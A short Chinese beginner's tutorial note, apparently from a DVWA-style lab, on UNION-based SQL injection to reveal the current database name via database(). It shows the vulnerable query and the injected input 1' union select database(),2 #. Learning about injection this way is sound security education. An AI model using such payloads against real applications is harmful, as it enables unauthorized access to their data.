zl程序教程

您现在的位置是:首页 >  数据库

当前栏目

5.sql injection之获取当前数据库-------小白笔记

数据库SQL笔记 获取 当前 小白 ------- Injection
2023-09-27 14:28:02 时间

1.利用联合查询,查询数据库名称:
①database()函数,显示当前所连接的数据库名称

2.查询过程:
①源码:SELECT first_name, last_name FROM users WHERE user_id = '$id'
②构造语句:1' union select database(),2 #
③真正执行的语句:SELECT first_name, last_name FROM users WHERE user_id = ’ 1' union select database(),2 #

3.构造语句的实质:
就是给$id赋值为:1 union select database(),2 #
在这里插入图片描述